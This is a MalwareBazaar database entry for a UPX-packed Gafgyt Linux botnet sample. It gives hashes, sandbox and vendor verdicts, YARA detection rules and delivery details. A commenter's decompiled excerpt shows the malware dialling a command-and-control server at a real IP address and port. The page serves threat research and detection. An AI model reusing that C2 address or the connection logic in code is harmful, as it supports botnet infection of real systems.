MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 273db7cea8aeb77d940d8c0b23249197cd4781732ef2488cdec03479333e8193. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


Gafgyt


Vendor detections: 6


Intelligence 6 IOCs YARA 2 File information Comments
Download sample Add tag Delete this sample Report a False Positive

SHA256 hash: 273db7cea8aeb77d940d8c0b23249197cd4781732ef2488cdec03479333e8193
SHA3-384 hash: 626aa837ea647b0a812db9041783c7a22c904e925f29fc1b2996b2f740e6ad61cbe78a18f9d35d7067dda39190e69ecd
SHA1 hash: fac841c57f568e3ce503b2616d01b9f00713aa5e
MD5 hash: c5a6479c40d3444160167b7f65624d37
humanhash: pip-carbon-hydrogen-four
File name:x86
Download: download sample
Signature Gafgyt
Create hunting rule
File size:1'563'056 bytes
First seen:2024-09-04 01:49:24 UTC
Last seen:Never
File type: elf
MIME type:application/x-executable
ssdeep 24576:wyWsn5LuwWdHc6MAzQ/EFSpldHP+HymLqoTJjhzXcWPqiuyhqlgfVkDzry/rtOXv:wyW47wYAzQG6TWSwqolFD3PZuVgfeyJw
TLSH T1A9753372DF74577AF43496CD8621CD2BE682C7AE0246FBC3C3943BB9019A15BDE92105
TrID 50.1% (.) ELF Executable and Linkable format (Linux) (4022/12)
49.8% (.O) ELF Executable and Linkable format (generic) (4000/1)
Magika elf
Reporter LemonHaze420__
Tags:elf gafgyt


Avatar
LemonHaze420_
time_Sleep(1000000000, v72, v79, v73, v74, v80, v81, v82, v83, v384);
main_NewPrintln("(main/conn_loop) trying to dial cnc", 35, 0, 0, 0, v94, v95, v96, v97);
v102 = net_Dial("tcp", 3, "188.245.66.109:7070", 19, 0, v98, v99, v100, v101, v384, *(&v384 + 1), v385, v386);
if ( !v107 )
break;
LODWORD(v72) = 35;
LODWORD(v73) = 0;
LODWORD(v74) = 0;
main_NewPrintln("(main/conn_loop) failed to dial cnc", 35, 0, 0, 0, v103, v104, v105, v106);
}
v427 = 3LL;
v410 = v102;
main_NewPrintln("(main/conn_loop) cnc dialed", 27, 0, 0, 0, v103, v104, v105, v106);

Intelligence

File Origin
# of uploads :
1
# of downloads :
120
Origin country :
GB GB
Vendor Threat Intelligence
Detection(s):
SecuriteInfo.com.FileRepMalware.8726.4604.UNOFFICIAL
Create hunting rule

Result
Verdict:
Clean
Maliciousness:
Verdict:
Malicious
Uses P2P?:
false
Uses anti-vm?:
false
Architecture:
x86
Packer:
UPX
Botnet:
unknown
Number of open files:
7
Number of processes launched:
1
Processes remaning?
false
Remote TCP ports scanned:
not identified
Full report:
https://elfdigest.com/brief/273db7cea8aeb77d940d8c0b23249197cd4781732ef2488cdec03479333e8193
Behaviour
no suspicious findings
Botnet C2s
TCP botnet C2(s):
not identified
UDP botnet C2(s):
not identified
Result
Verdict:
UNKNOWN
Verdict:
Unknown
Link:
https://analyze.intezer.com/analyses/5a2faa43-ba6b-4134-aec7-310b74b6b0a9
Result
Threat name:
n/a
Detection:
malicious
Classification:
evad
Score:
52 / 100
Link:
https://www.joesandbox.com/analysis/1503861
Signature
Multi AV Scanner detection for submitted file
Sample is packed with UPX
Behaviour
Behavior Graph:
Download SVG
Score:
100%
Verdict:
Malware
File Type:
ELF
Link:
https://malprob.io/report/273db7cea8aeb77d940d8c0b23249197cd4781732ef2488cdec03479333e8193
Detection:
n/a
Link:
https://mwdb.cert.pl/sample/273db7cea8aeb77d940d8c0b23249197cd4781732ef2488cdec03479333e8193/
Threat name:
Linux.Backdoor.Gafgyt
Create hunting rule
Status:
Malicious
First seen:
2024-09-04 01:50:06 UTC
File Type:
ELF64 Little (Exe)
AV detection:
4 of 38 (10.53%)
Threat level:
  5/5
Detection(s):
Suspicious file
Link:
https://check.spamhaus.org/check/?searchterm=e463ptviv23x3fanrqfsgjers7gupaltf3zerdg6ya2hsmz6qgjq._file
Result
Malware family:
n/a
Score:
  7/10
Tags:
linux upx
Link:
https://tria.ge/reports/240904-b89ngasgnn/
Behaviour
Enumerates kernel/hardware configuration
Reads runtime system information
Deletes itself
Modifies Watchdog functionality
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Legit
Score:
0.00
Link:
https://yomi.yoroi.company/submissions/273db7cea8aeb77d940d8c0b23249197cd4781732ef2488cdec03479333e8193

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:SUSP_ELF_LNX_UPX_Compressed_File
Create hunting rule
Author:Florian Roth (Nextron Systems)
Description:Detects a suspicious ELF binary with UPX compression
Reference:Internal Research
Rule name:upx_packed_elf_v1
Create hunting rule
Author:RandomMalware

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Web download

Gafgyt

elf 273db7cea8aeb77d940d8c0b23249197cd4781732ef2488cdec03479333e8193

(this sample)

  
Delivery method
Distributed via web download
  
URLhaus
https://urlhaus.abuse.ch/url/3155694/

BLint

The following table provides more information about this file using BLint. BLint is a Binary Linter to check the security properties, and capabilities in executables.

Findings
IDTitleSeverity
CHECK_PIEMissing Position-Independent Executable (PIE) Protectionhigh

Comments